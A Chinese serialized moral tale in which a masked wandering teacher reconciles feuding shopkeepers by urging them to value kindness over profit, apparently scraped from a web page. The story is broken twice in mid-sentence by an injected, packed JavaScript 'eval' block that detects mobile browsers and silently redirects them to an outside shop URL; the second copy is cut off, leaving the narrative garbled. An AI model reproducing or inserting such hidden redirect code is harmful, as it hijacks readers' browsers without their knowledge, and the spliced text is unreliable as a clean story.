“天字三号房，住三日，房钱一百五十文。饭钱八十文，马料钱三十文，热水钱十文，共计二百七十文。抹去零头，收二百七十文，一文不能少！” 儿子赵百客在旁记录，笔下如飞。 这时，门口进来那人。还是苇编斗笠，白粗布短褂，腰间木剑。脸上蒙着麻布，只露出一双眼睛，清澈得很。 “掌柜的，住店。”声音平和。 赵满堂抬眼，见是这两日在陈记、刘记见过的那人，心里咯噔一下，面上堆笑：“客官要上房还是下房？” “下房即可，住一晚。”那人说。 “好嘞！下房一晚二十文，饭食另算。”赵满堂拨着算盘，“客官要热水么？要马料么？要……” “只要一床一被，一碗素面。”那人打断他。 赵满堂愣了愣，拨算盘的手停了：“就这些？” “就这些。” 赵满堂记了账，收了钱，让伙计带那人去房间。那人却不动，看着赵百客记账，忽然道：“小兄弟，一间房，住一晚，要费多少柴？” 赵百客一愣，抬头看爹。 赵满堂皱眉：“客官问这个作甚？” “我算算。”那人说，“一间房，一晚要点一盏灯，灯油二钱。要烧一炕，柴火五斤。要供热水一壶，柴火二斤。要扫一次地，用笤帚一把，笤帚是竹子编的，竹子要长三年。要擦一次桌，抹布一块，抹布是粗布做的，布要织三天。要换一次被，被里被面是布，棉花要种一季。要……” “停停停！”赵满堂听得头大，“客官，您这是住店还是算账？” “住店，也算账。”那人说，“掌柜的，你算账，只算进多少，出多少，赚多少。可算过这一间房，一晚，要费天地多少物？要费人工多少力？要费人心多少善？” 赵满堂语塞。 “一而十，十而百。百而千，千而万。”那人缓缓念出，“你知道这是什么意思？” “自然是积少成多，聚沙成塔！”赵满堂道。 “错了。”那人摇头，“这是说，万物皆从一来。一盏灯，是根本。十盏灯，是一室光明。百盏灯，是一街繁华。千盏灯，是一城夜景。万盏灯，是一国昌盛。可若没有那一盏灯，哪来的十、百、千、万？” 他走到窗前，推开窗，码头上灯火通明，千帆林立。 “你只算一间房赚几文，可算过这一间房，要木匠多少工夫？要瓦匠多少汗水？要漆匠多少心血？要伙计多少奔走？要船家多少风浪运来木料？要农夫多少辛劳种出棉花？要织女多少日夜织出被褥？” 赵满堂额上冒汗。 “你教儿子‘一文不能少’，是教他算计。可算计的是什么？是利。你忘了，这一间房里，有工匠巧，有农夫苦，有织女累，有船家险，有伙计勤。”那人声音不高，却字字如锤，“你只算自己赚多少，可算过这间房歇了多少旅人？可算过这碗面暖了多少饥肠？可算过这盏灯照亮了多少夜路？可算过这客栈，本是歇人之所，不是谋利之窟？” 赵百客手里的笔，“啪”地掉了。 “小兄弟，”那人转向赵百客，“你爹教你算利，我教你算恩。一间房，可让旅人安眠一夜，明日有力气赶路。一碗面，可让饿者果腹一餐，明日有精神谋生。一盏灯，可让夜归人看见家门，心里温暖。这恩，你算得清么？” 赵百客愣愣地摇头。 那人从怀里掏出一本薄册子，封面上写着《屋檐恩》。递给赵百客。 “这个给你。里边有算店之恩的题，比如：一间房，从木料到建成，要经过多少人之手？一碗面，从麦子到面条，要经过多少道工夫？一盏灯，从油料到光亮，要经过多少番周折？” 赵百客接过，翻开一看，第一页就画着一间房，房里写着：“木匠造我，瓦匠砌我，漆匠饰我，船家运我，掌柜管我，伙计扫我，旅人住我。我是一间房，安人一夜眠。” 他看得痴了。 “掌柜的，”那人转向赵满堂，“你的算盘打得精，可莫要算尽了毫厘，算丢了良心。一而十，十而百，百而千，千而万——这‘一’，是根本。根本是什么？是天地良心，是待客之德。” 说罢，他从怀里掏出房钱，放在柜台上：“这是房钱，二十文，分文不少。” 赵满堂看着那钱，忽然抓起，塞回那人手里：“先生……这房，送您住。” “为何？” “您让我明白了，客栈不是用来算的，是用来歇的。”赵满堂声音有些颤。 那人接过钱，点点头，转身上楼。走到楼梯一半，回头：“掌柜的，明日此时，我再来。你若有心，算算一盏灯要费多少油，一碗面要用多少麦。算明白了，我再与你说话。” 赵满堂看着那人的背影消失在楼梯拐角，又看看儿子手里的册子，忽然翻开账本，拿起算盘，却不是算进账出账，而是算一盏灯、一碗面、一间房的“恩”。 “灯油二钱，可亮三个时辰。三个时辰，可让多少人看见路？一碗面，用面三两，菜二两，油一钱。这些面、菜、油，要多少人劳作……” 四、 流水街的月 八月十五，中秋。码头上漕船停了，船工们都上岸过节。流水街上挂起灯笼，三家的铺子都早早打了烊。 陈满仓搬了张桌子摆在门口，桌上摆着月饼、瓜果。陈小米在旁边数米，一粒一粒，认真得很。 刘尺布也在门口摆了桌子，桌上摆着月饼、茶水。刘寸锦在旁边数线，一根一根，仔细得很。 赵满堂在客栈门口摆了张大桌子，桌上摆着月饼、糕点。赵百客在灯下算账，算的却不是钱，而是一盏灯、一碗面、一间房的“恩”。 三人互相看看，都有些尴尬。三年没说话了，今日中秋，街上就他们三家，不打招呼，说不过去。 还是陈满仓先开口：“刘掌柜，吃月饼。” 刘尺布一愣，忙道：“陈掌柜，喝茶。” 赵满堂也凑过来：“两位掌柜，赏月，赏月。” 三人坐下，你看看我，我看看你，忽然都笑了。这一笑，三年的疙瘩，松了些。 “小米在数什么？”刘尺布问。 “数米。”陈小米抬头，“爹让我数一合米有多少粒。我数了，一千八百零三粒。” “寸锦在数什么？”陈满仓问。 “数线。”刘寸锦抬头，“爹让我数一尺布有多少根线。我数了，横纬三千六百根，竖经四千八百根。” “百客在算什么？”刘尺布问。 “算恩。”赵百客抬头，“爹让我算一盏灯、一碗面、一间房的恩。我算了，一盏灯亮三个时辰，可让十个夜归人看见路。一碗面用三两面，可让一个饿汉饱腹。一间房住一晚，可让一个旅人安眠。” 三人都沉默了。 半晌，陈满仓叹道：“那位先生……真是高人。” “是啊，”刘尺布点头，“他让我明白，布是暖人的，不是量利的。” “他让我明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133841|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白，客栈是歇人的，不是算钱的。”赵满堂也道。 正说着，那人来了。还是苇编斗笠，白粗布短褂，腰间木剑。只是今夜没蒙麻布，脸上戴了个竹面具，在月光下泛着青白的光。手里提着一壶酒，三个酒杯。 “三位掌柜，赏月呢？”他笑。 三人忙起身：“先生！” 那人坐下，自斟一杯酒，举杯邀月：“好月。” 三人也斟了酒，同饮。酒是普通的烧刀子，辣，可喝下去，心里暖。 “先生，”陈满仓问，“那十二个字，到底什么意思？” “一而十，十而百。百而千，千而万。”那人缓缓念出，“字面意思是，从一到十，从十到百，从百到千，从千到万。可深里意思呢？” 他看着三人：“一是根本。一粒米，一根线，一盏灯，是根本。十是积累。十粒米成一捧，十根线成一缕，十盏灯成一室。百是汇聚。百粒米成一碗，百根线成一尺，百盏灯成一街。千是壮大。千粒米成一升，千根线成一束，千盏灯成一城。万是圆满。万粒米成一斗，万根线成一匹，万盏灯成一国。” 他顿了顿：“可若没有那个‘一’，十、百、千、万，都是空谈。你们的生意，也是一样。没有那一粒米、一根线、一盏灯的良心，赚再多钱，也是空中楼阁。” 三人肃然。 “做生意，要算利，更要算恩。利是眼前的，恩是长远的。利是小的，恩是大的。利是自己的，恩是众人的。”那人看着他们，“你们三家，一卖米，一卖布，一开客栈，本是养人、暖人、歇人的善业。可你们只算利，不算恩，所以三年成仇，邻里不和。今日你们数米、数线、算恩，可明白了？” 三人重重点头。 那人从怀里掏出三个小小的、用米粒粘成的“一”字，一人给了一个。 “这个，给你们。挂在铺子里，记在心里。做生意时看看，莫忘了那个‘一’。” 三人接过，那“一”字是用糯米粘的，洁白晶莹，在月光下泛着温润的光。 “先生，”刘寸锦大着胆子问，“您从哪里来？” “从来处来。” “要到哪里去？”赵百客问。 “到去处去。” “您是做什么的？”陈小米问。 “我是个看‘一’的人。”那人笑了，“看一粒米怎么成万担，看一根线怎么成万匹，看一盏灯怎么成万盏。” 他起身，提起酒壶：“酒喝完了，我该走了。” “先生还会来么？”三人齐声问。 “等你们的铺子，不只算利，更算恩的时候，我再来。”他说。 他走了，沿着流水街，慢慢地走。月光把他的影子拉得很长，长得像这条街，长得像这码头的岁月。 三人站在月光下，捧着那个“一”字，久久不语。 五、 十年后的“一”字 天顺十五年，中秋。流水街还是那条流水街，码头还是那个码头，只是三家的铺子，都扩大了。 陈记米铺改名叫“陈记米行”，不光卖米，还设了粥棚，每月初一十五施粥。陈小米接了班，人称“小米掌柜”。他卖米，总要多给一撮，说：“这一撮，是谢天谢地谢农人。”他儿子陈粒儿，八岁，每天在铺子里数米，一粒一粒，数得认真。 刘记布庄改名叫“刘记布行”，不光卖布，还收了两个孤女做学徒，教她们织布。刘寸锦接了班，人称“寸锦掌柜”。她卖布，总要多给一寸，说：“这一寸，是谢天谢地谢织女。”她女儿刘线儿，九岁，每天在铺子里数线，一根一根，数得仔细。 赵家客栈改名叫“赵家老店”，不光住店，还设了茶棚，免费给路人喝茶。赵百客接了班，人称“百客掌柜”。他开店，穷书生、赶考人住宿，只收半价，说：“这一半，是结个善缘。”他儿子赵盏儿，十岁，每天在柜台算账，算的不是利，是恩：今日住了几个赶考人，几个是穷书生，几个是落难人。 今年中秋，三家又在门口摆桌子，赏月。三个孩子——陈粒儿、刘线儿、赵盏儿，凑在一起。一个在数米，一个在数线，一个在算恩。 陈满仓看着，对刘尺布、赵满堂笑道：“像不像咱们当年？” 三人相视而笑，举杯。 这时，街那头走来一人。还是苇编斗笠，白粗布短褂，腰间木剑。只是斗笠更破，短褂更旧，木剑的剑柄磨出了深痕。脸上依然戴着竹面具，在月光下泛着温润的光。 三人看见，忙迎上去：“先生！” 那人点头，声音依旧温和：“都老了。” “先生不老。”陈小米说。 那人笑了，在桌前坐下，自斟一杯酒，举杯邀月：“月还是那个月。” 三人也举杯。 陈粒儿机灵，捧上一碗新米：“先生，吃米，今年的新米，香！” 刘线儿捧上一块新布：“先生，用布，今年的新布，软！” 赵盏儿捧上一盏新灯：“先生，掌灯，今年的新灯，亮！” 那人一一接过，看看米，摸摸布，看看灯，点头：“好，好。” 陈满仓从怀里掏出那个米粒粘的“一”字，已经用琉璃罩子罩着，保存完好：“先生，您看，我一直供着。” 刘尺布、赵满堂也掏出“一”字，三个“一”字，在月光下晶莹剔透。 “供得好。”那人点头，“一字在心，万利不迷。” “先生，”赵满堂问，“您这十年，去了哪里？” “走了些地方，见了些人。”那人说，“有只算利不算恩的米商，有只量布不量心的布商，有只算账不算情的店主。看得多了，就想，若是他们都明白‘一’是根本，会不会就不同了？” 三人沉默。 “一而十，十而百。百而千，千而万。”那人缓缓念，“一是良心，十是积累，百是汇聚，千是壮大，万是圆满。良心丢了，积累再多，汇聚再广，壮大再快，也是空中楼阁，说倒就倒。” 他看向三个孩子——陈粒儿在数米，刘线儿在数线，赵盏儿在算恩。数得认真，数得仔细，算得明白。 “他们比你们强。”那人笑了，“数米知恩，数线知暖，算恩知情。这才对。” 三人点头，深以为然。 那人从怀里掏出三个小小的、用米粒、布丝、灯芯粘成的“本”字，送给三个孩子。 “这个，给你们的孩子。等他们长大了，教他们做生意要算利，更要算恩。等他们做到了，我再来收。” 三个孩子恭恭敬敬接过。 “先生，”陈粒儿大着胆子问，“您是谁啊？” 那人摸摸他的头：“我是个喜欢看人数米、数线、算恩的人。” “那……您还会来看我们数米么？” “会。”那人站起身，“等你们的孩子的孩子，也这样在月光下数米、数线、算恩的时候，我还会来。” 他走了，沿着流水街，慢慢地走。月光洒在青石板上，泛着银白的光。他的背影在月光里，渐渐远了，融进夜色里。 三人送他到街口，看着他消失。陈满仓忽然说：“你们说，先生教了多少人？” 刘尺布说：“不知道。但我知道，他教的人，都懂了‘一’是根本。” 赵满堂说：“我也懂了。生意不是算计，是积善。善有善报，利自来。” 他们回到桌边，孩子们还在那里。陈粒儿在教刘线儿数米，刘线儿在教赵盏儿数线，赵盏儿在教陈粒儿算恩。月光照在他们身上，明晃晃的。 尾声万亿谣 很多年后，流水街改名叫“积善街”。街口的牌坊上，刻着十二个字： 一而十，十而百。百而千，千而万。 常有外乡人问：“这字谁刻的？” 街里的老人会说：“是三家明白人刻的。他们啊，从前只会算利，后来懂了算恩，生意越做越大，心也越来越宽。” “怎么算恩？” “陈记米行卖米多给一撮，刘记布行卖布多给一寸，赵家老店住店少收一半。这一撮、一寸、一半，就是恩。” 中秋时，街上的孩子都会唱一首童谣： 流水街，三铺家， 算盘响彻整条街。 陈记算米只算利， 刘记量布只量钱。 赵家算账不算恩， 三家争利成仇怨。 白衣先生来点化， 一而十，十而百。 百而千，千而万， 三家积善利自来。 有个游方的商贾路过，听了这童谣，去问米行的陈掌柜——当年的陈小米，如今也蓄了须。 “掌柜的，这童谣里的白衣人，可是位财神爷？” 陈小米正在教孙子数米，闻言停下手，望着窗外的月亮。 “是位教人做生意要先做人的先生。”他说。 “做生意……不就是赚钱么？” “错了。”陈小米说，“做生意，是先做‘人’，再做‘生意’。人做正了，生意自然来。就像这米，你当它是养人的，它就越卖越多；你当它是赚钱的，它就越卖越少。” 商贾似懂非懂。临走时，陈小米送了他一包米，说：“路上吃。记着，这米是天地恩，农人苦，别糟蹋。” 商贾道了谢，背着米走了。月光洒在流水街上，银白一片。他回头，看见陈小米站在米行门口，看着孙子和刘家、赵家的孩子在一起，一个数米，一个数线，一个算恩。 92.三才谳 楔子·三家争“明” 津门外有处三岔口，因三条水路交汇得名。此地有座石桥，桥畔有三家店铺鼎足而开：东桥头是“齐家茶棚”，西桥头是“陆家灯笼铺”，桥南是“秦家客栈”。 齐掌柜齐天福，四十有三，卖茶三代。他有一句话挂在嘴边：“天时不如地利，地利不如人和。”可这“人和”，他只对茶客说，对隔壁两家，却是“人不利”。他说陆家灯笼铺的油烟熏了他的茶，说秦家客栈的泔水臭了他的摊。 陆掌柜陆明远，四十有一，扎灯笼三代。他也有一句话常念叨：“明人不做暗事。”可这“明”，他只对自己说。夜里偷偷把灯笼挂到齐家茶棚檐下，天亮说齐家占了他的地；偷偷把废竹篾扔到秦家客栈后巷，回头说秦家脏了他的街。 秦掌柜秦四海，四十有五，开客栈三代。他更有一句口头禅：“四海之内皆兄弟。”可这“兄弟”，他只对南来北往的客商说。对齐家，他说茶棚占了客人的路；对陆家，他说灯笼晃了客人的眼。 这三家，是三岔口最“明事理”的人家。可三年下来，理越辩越不明，怨越结越深。今日你骂我占道，明日我骂你偷光，后日他骂你挡财。石桥上吵，码头边闹，成了三岔口一景。 这是永昌八年的初夏，三岔口漕船如梭，三家店铺的幌子迎风招展，可三家的掌柜，在桥头碰面，鼻子不是鼻子，眼不是眼。 一、 齐家茶棚的“天时” 这日午后，齐天福正在茶棚里煮茶。茶棚临水而建，三面敞着，河风吹来，带着水汽。齐天福摆弄着茶具，嘴里念叨：“天时，天时，今日东南风，正是煮龙井的好时候。” 儿子齐明理，十二岁，在棚里擦桌子，擦到第三遍，桌子能照见人影。 这时，棚里进来一人。来人戴着一顶蒲草编的斗笠，斗笠边缘参差不齐，像是随手折的。身上是件半旧的月白短衫，洗得发白，衣摆用麻绳系在腰间。腰侧挂一柄木剑，剑身无饰，只缠着几圈麻绳。脸上蒙着一方粗葛布，布色灰黄，沾着些路上的尘土。 “掌柜的，一碗茶。”声音温温的，像这午后的风。 齐天福抬眼一瞥，见是个行路的，便道：“大碗三文，小碗两文。” “大碗。” 齐天福提壶冲茶，茶叶是陈年的茉莉花，香味已淡。茶汤倒在粗陶碗里，泛着浊黄。 那人坐下，摘下斗笠放在一旁，却不喝，只看着碗里的茶。 “掌柜的，这茶，用的是什么水？” 齐天福一愣：“河水呗，还能是什么水？” “河水从哪来？” “从西边山上来。” “流经几里？” “……这我哪知道！” 那人端起茶碗，却不喝，只看着茶汤里自己的倒影：“天赐水，地载水，人取水。这碗茶，里有天，有地，有人。” 齐天福听得云里雾里。 “三才者，天地人。”那人缓缓念出这六个字，“掌柜的可知何意？” “自然知道！”齐天福挺起胸，“天时不如地利，地利不如人和！我这茶棚，占尽天时地利人和！” “错了。”那人摇头，“天是上天，地是下地，人是中民。天无私覆，地无私载，人无……掌柜的，你这碗茶，可对得起天？对得起地？对得起人？” 齐天福脸色变了：“你什么意思？” “天赐好水，你取浊流。地生好茶，你用陈叶。人付三文，你得劣茶。”那人声音平平，“天、地、人，你一样也对不住。” 齐天福脸上涨红：“你、你胡说！” “我胡说？”那人站起身，走到棚边，指着河水，“这水，从天而降，落地成流，经百里，过千村，养万人。到你这里，你取来煮茶，却不知感恩，反怨河水不清。这是不敬天。” 又指地上：“这地，生五谷，长百草，育万民。你在这地上摆摊卖茶，却不知珍惜，反怨地不平。这是不敬地。” 再指茶客：“这些人，南来北往，辛苦奔波，花三文钱买你一碗茶，解渴消乏。你却以劣茶相待，以怨气相迎。这是不敬人。” 齐天福张口结舌。 齐明理在旁听得呆了，手里的抹布掉在地上。 “小兄弟，”那人转向齐明理，“你爹教你擦桌子，可教过你擦心？” 齐明理愣愣摇头。 “桌子擦得再亮，心是暗的，有何用？”那人从怀里掏出一本薄册子，封面上写着《三才茶道》。递给齐明理。 “这个给你。里边有煮茶敬天、敬地、敬人的法子。比如：取水时要念什么，煮茶时要思什么，奉茶时要怀什么。” 齐明理接过，翻开一看，第一页就画着一碗茶，茶汤清亮，茶烟袅袅。旁边小字写着：“天雨为水，感恩；地生为叶，惜福；人饮为茶，敬客。” 他看得痴了。 “掌柜的，”那人转向齐天福，“你说你占尽天时地利人和，可你连天、地、人是什么都不懂。天不是风，是恩；地不是土，是德；人不是客，是缘。你怨天怨地怨人，这茶棚，迟早要倒。” 说罢，他从怀里掏出三文钱，放在桌上，转身就走。走到棚口，回头：“掌柜的，明日此时，我再来。你若想明白了天、地、人是什么，给我煮一碗真正的三才茶。” 齐天福呆立良久，看着那三文钱，又看看儿子手里的册子，忽然端起那碗茶，泼在地上。 “明理，去，打一桶上游的清水来。再把咱家那包明前龙井拿出来。” “爹，那茶不是留着卖高价的么？” “不卖了。”齐天福看着河水，“煮一碗敬天、敬地、敬人的茶。” 二、 陆家灯笼铺的“明灯” 陆明远这日正在铺子里扎灯笼。铺子临街，门口挂满各式灯笼，圆的、方的、八角形的，红纸糊面，竹篾为骨。陆明远手里一把篾刀，刀光闪闪，剖竹如泥。 “明轩，看好了！竹要直，篾要匀，纸要平，糊要匀！”陆明远一边剖竹一边教儿子，“灯笼灯笼，要点亮别人的路，先要点亮自己的心！” 陆明轩，十三岁，在旁学糊纸，手笨，纸皱了。 这时，门口进来那人。还是蒲草斗笠，月白短衫，腰间木剑。脸上蒙着葛布，只露出一双眼睛，在昏暗的铺子里，亮得像星。 “掌柜的，买盏灯笼。”声音清朗。 陆明远抬眼，见是昨日在齐家茶棚见过的那人，心里一动，面上堆笑：“客官要什么样的？有圆的，有方的，有八角的，有绣球的……” “要一盏能照见天、地、人的灯笼。”那人说。 陆明远愣住了：“这……灯笼就是灯笼，只能照路，哪能照天、地、人？” “怎的不能？”那人走到一盏灯笼前，伸手轻抚糊纸，“这纸，是竹造的。竹从土生，土赖天雨。这纸里，有天，有地。” 又指竹骨：“这竹，是地生的。地承天露，天生竹。这竹里，有天，有地。” 再指烛火：“这火，是人点的。人取天雷之火，用地生之油，点灯照路。这火里，有天，有地，有人。” 陆明远听得呆了。 “三光者，日月星。”那人缓缓念出这六个字，“掌柜的可知何意？” “自然知道！”陆明远挺胸，“日、月、星，是天上的三光！我这灯笼，就是地上的小星星！” “错了。”那人摇头，“日是太阳，月是太阴，星是众辰。日主昼，月主夜，星主辰。可掌柜的，你这灯笼，点的什么光？” 陆明远语塞。 “你点烛火，烛从蜂蜡来，蜂采百花蜜，花赖天地生。这光，本是天地恩赐，你却用来与人争利。”那人声音不高，却字字清晰，“你夜里挂灯笼到别家檐下，说是争光，实是偷光。你这光，是暗光，不是明光。” 陆明远脸上红一阵白一阵。 “你教儿子‘点亮别人的路’，可你自己呢？你点亮了谁的路？”那人指着门外，“齐家茶棚嫌你油烟，秦家客栈嫌你晃眼，路人嫌你挡道。你这灯笼，照的不是路，是怨。” 陆明轩手里的糨糊碗，“咣当”掉在地上。 “小兄弟，”那人转向陆明轩，“你爹教你扎灯笼，可教过你扎心？” 陆明轩愣愣摇头。 “灯笼扎得再亮，心是暗的，有何用？”那人从怀里掏出一本薄册子，封面上写着《三光明灯》。递给陆明轩。 “这个给你。里边有扎灯笼敬日、敬月、敬星的法子。比如：选竹时要念什么，糊纸时要思什么，点灯时要怀什么。” 陆明轩接过，翻开一看，第一页就画着一盏灯笼，光芒四射。旁边小字写着：“日光为恩，感恩；月光为慈，惜福；星光为引，明路。” 他看得痴了。 “掌柜的，”那人转向陆明远，“你说你的灯笼是地上的星星，可你这星星，发的是怨光，不是明光。三光者，日月星。日是公道，月是慈悲，星是指引。你的光里，可有公道？可有慈悲？可曾指引？” 陆明远额头冒汗。 “一盏灯笼，竹从天雨地土生，纸从人工手艺出，火从天地人合来。这本是敬天、敬地、敬人的东西，你却用来与人结怨。”那人摇头，“可惜，可惜。” 说罢，他从怀里掏出十文钱，放在柜台上：“这钱，买你一盏灯笼。不要圆的，不要方的，要一盏能照见自己心的。” 陆明远看着那钱，忽然抓起，塞回那人手里：“先生……这灯笼，送您。” “为何？” “您让我明白，灯笼不是用来争光的，是用来照路的。”陆明远声音发哑。 那人接过钱，点点头，挑了盏最普通的圆灯笼，转身就走。走到门口，回头：“掌柜的，明日此时，我再来。你若想明白了日、月、星是什么，给我扎一盏真正的三光明灯。” 陆明远看着那人的背影消失在街角，又看看儿子手里的册子，忽然把门口那些争奇斗艳的灯笼都取下来。 “明轩，把这些都收了。今晚，咱扎一盏简单、明亮、能照路的灯。” 三、 秦家客栈的“四海” 秦四海这日正在客栈柜台后算账。客栈两层楼，面临三岔口，推窗可见三条河交汇，端的开阔。秦四海拨着算盘，嘴里念叨：“四海之内皆兄弟，五湖之中尽朋友。来的都是客，全凭嘴一张……” 儿子秦怀远，十四岁，在柜台后学记账，记到“齐家占道费”、“陆家晃眼费”时，笔停了停。 “记啊。”秦四海瞪眼。 “爹，这……这合适么？”秦怀远小声说。 “有什么不合适？他们占我的道，晃我的眼，不该赔钱？”秦四海理直气壮。 这时，门口进来那人。还是蒲草斗笠，月白短衫，腰间木剑。脸上蒙着葛布，风尘仆仆。 “掌柜的，住店。”声音温和。 秦四海抬眼，见是这两日在齐家、陆家见过的那人，心里咯噔一下，面上堆笑：“客官要上房还是下房？” “下房即可，住一晚。” “好嘞！下房一晚三十文，饭食另算。”秦四海拨着算盘，“客官要热水么？要马料么？要……” “只要一床一被，一碗素面。”那人打断他。 秦四海记了账，收了钱，让伙计带那人去房间。那人却不动，看着墙上一幅画。画的是三岔口，三条河交汇，舟船往来，桥上人来人往。 “掌柜的，这画好。” “客官好眼力！”秦四海笑道，“这是请画师特意画的，三岔口全景！” “可画里少了东西。”那人说。 “少了什么？” “少了天，少了地，少了人。”那人指着画，“只有河，只有船，只有桥。天在哪里？地在哪里？人在哪里？” 秦四海愣了。 “三才者，天地人。”那人缓缓念出，“掌柜的，你这客栈，占的是天时？是地利？是人和？” “自然是占尽天时地利人和！”秦四海挺胸，“您看，我这客栈，面朝三河，背靠大街，南来北往的客商，都要从我这门前过！” “错了。”那人摇头，“你面朝三河，可曾敬河？河是天雨所成，是地脉所流。你日日往河里倒泔水，泼脏水，这是敬天敬地？” 秦四海脸上变了色。 “你背靠大街，可曾让道？街是万人所走，是百姓所行。你日日占道经营，堵路拦客，这是敬人？” 秦四海张口结舌。 “你说四海之内皆兄弟，可你对门两家，齐家、陆家，是你的兄弟么？”那人声音平平，“你骂齐家占道，骂陆家晃眼，收他们‘占道费’、‘晃眼费’，这是待兄弟之道？” 秦怀远手里的笔，“啪”地掉了。 “小兄弟，”那人转向秦怀远，“你爹教你‘四海之内皆兄弟’，可教过你，兄弟如何相处？” 秦怀远愣愣摇头。 “兄弟不是嘴上说的，是心里认的，是手上让的，是脚下行的。”那人从怀里掏出一本薄册子，封面上写着《四海客栈》。递给秦怀远。 “这个给你。里边有开店敬天、敬地、敬人的法子。比如：迎客时要念什么，待客时要思什么，送客时要怀什么。” 秦怀远接过，翻开一看，第一页就画着一座客栈，客栈门开四面，迎八方客。旁边小字写着：“天为顶，感恩；地为基，惜福；人为客，敬待。” 他看得痴了。 “掌柜的，”那人转向秦四海，“你说你占尽天时地利人和，可你连天、地、人是什么都不懂。天不是风，是恩；地不是土，是德；人不是客，是缘。你怨天怨地怨人，这客栈，迟早要空。” 说罢，他从怀里掏出房钱，放在柜台上：“这是房钱，三十文，分文不少。” 秦四海看着那钱，忽然抓起，塞回那人手里：“先生……这房，送您住。” “为何？” “您让我明白，客栈不是用来算账的，是用来结缘的。”秦四海声音发颤。 那人接过钱，点点头，转身上楼。走到楼梯一半，回头：“掌柜的，明日此时，我再来。你若想明白了天、地、人是什么，给我备一间真正的三才房。” 秦四海看着那人的背影消失在楼梯拐角，又看看儿子手里的册子，忽然把账本上“齐家占道费”、“陆家晃眼费”那两笔账，狠狠划去。 “怀远，去，请齐掌柜、陆掌柜来，就说……就说我秦四海，请他们喝茶。” 四、 三岔口的月 六月初六，天贶节。三岔口有庙会，桥上桥下，人山人海。齐家茶棚、陆家灯笼铺、秦家客栈，都早早开了门。 齐天福搬了张茶桌摆在门口，桌上摆着三只茶碗。碗是青瓷的，茶是明前龙井，水是上游清水。齐明理在旁烧水，水汽袅袅。 陆明远扎了一盏新灯笼，挂在门口。灯笼是素白的，不描花，不画鸟，只写了三个字：天、地、人。烛光透出来，照得那三个字亮堂堂的。陆明轩在旁添油，小心得很。 秦四海在客栈门口摆了张八仙桌，桌上摆着三副碗筷，三碟小菜。秦怀远在旁温酒，酒香四溢。 三人互相看看，都有些尴尬。三年没坐一桌了，今日天贶节，又是那位先生要来的日子，不坐一桌，说不过去。 还是秦四海先开口：“齐掌柜，陆掌柜，请坐。” 齐天福、陆明远拱拱手，坐下。 茶斟上，酒满上，三人举杯，又放下，不知说什么。 “这茶……好。”陆明远憋出一句。 “这灯……亮。”齐天福接一句。 “这酒……香。”秦四海说。 说完，三人又沉默了。 正沉默着，那人来了。还是蒲草斗笠，月白短衫，腰间木剑。只是今日没蒙葛布，脸上戴了个竹面具，面具上刻着日月星辰。手里提着一壶酒，三个酒杯。 “三位掌柜，赏月呢？”他笑。 三人忙起身：“先生！” 那人坐下，自斟一杯酒，举杯邀月：“好月。” 三人也举杯，同饮。酒是普通的烧刀子，烈，可喝下去，心里暖。 “先生，”齐天福问，“那十二个字，到底什么意思？” “三才者，天地人。三光者，日月星。”那人缓缓念出，“天在上，地在下，人在中。日主昼，月主夜，星主辰。这说的是什么？” 他看着三人：“说的是规矩，是道理，是本分。天有天的规矩，地有地的道理，人有人的本分。日月星，是光，是明，是引。人活天地间，当敬天，敬地，敬人；当向日，向月，向星。” 三人肃然。 “你们三家，一卖茶，一扎灯，一开客栈，本是敬天、敬地、敬人的善业。”那人说，“茶，是天雨地生人采；灯，是天火地竹人扎；客栈，是天覆地载人住。可你们呢？齐掌柜怨天怨地怨人，陆掌柜偷光争光晃光，秦掌柜占道拦客算账。天、地、人，你们一样也没敬；日、月、星，你们一样也没向。” 三人低头。 “天赐你好水，你取浊流；地生你好竹，你扎怨灯；人来你店，你算利账。这是不敬天，不敬地，不敬人。”那人声音温和，却字字如针，“日光照你，你嫌太亮；月光照你，你嫌太暗；星光引你，你嫌太远。这是不向日，不向月，不向星。” 三人汗流浃背。 “今日你们煮清茶，扎明灯，摆宴席，是悟了。”那人点头，“悟了好。悟了，这三岔口，才真有天时，真有地利，真有人和。” 他从怀里掏出三个小小的、用竹片刻的牌子，一人给了一个。牌子上刻着六个字：敬天、敬地、敬人。 “这个，给你们。挂在门口，记在心里。做生意时看看，莫忘了天、地、人。” 三人接过，那牌子是竹片磨的，光滑温润，在月光下泛着青白的光。 “先生，”陆明轩大着胆子问，“您从哪里来？” “从来处来。” “要到哪里去？”秦怀远问。 “到去处去。” “您是做什么的？”齐明理问。 “我是个看天、地、人的人。”那人笑了，“看人怎么敬天，怎么敬地，怎么敬人。” 他起身，提起酒壶：“酒喝完了，我该走了。” “先生还会来么？”三人齐声问。 “等你们的茶棚、灯笼铺、客栈，真真正正敬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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今年天贶节，三家又在门口摆桌子，赏月。三个孩子——齐敬天、陆向月、秦结缘，凑在一起。一个在煮茶，一个在扎灯笼，一个在迎客。 齐天福看着，对陆明远、秦四海笑道：“像不像咱们当年？” 三人相视而笑，举杯。 这时，桥那头走来一人。还是蒲草斗笠，月白短衫，腰间木剑。只是斗笠更破，短衫更旧，木剑的剑身多了几道裂痕。脸上依然戴着竹面具，面具上的日月星辰，在月光下清晰可见。 三人看见，忙迎上去：“先生！” 那人点头，声音依旧温和：“都变了。” “先生没变。”秦怀远说。 那人笑了，在桌前坐下，自斟一杯酒，举杯邀月：“月还是那个月。” 三人也举杯。 齐敬天机灵，捧上一碗新茶：“先生，喝茶，今年的明前，香！” 陆向月捧上一盏新灯笼：“先生，掌灯，今年的新灯，亮！” 秦结缘捧上一壶新酒：“先生，喝酒，今年的新酒，醇！” 那人一一接过，品茶，看灯，喝酒，点头：“好，好。” 齐天福从怀里掏出那块竹牌，已经用红绳系着，挂在胸前：“先生，您看，我一直戴着。” 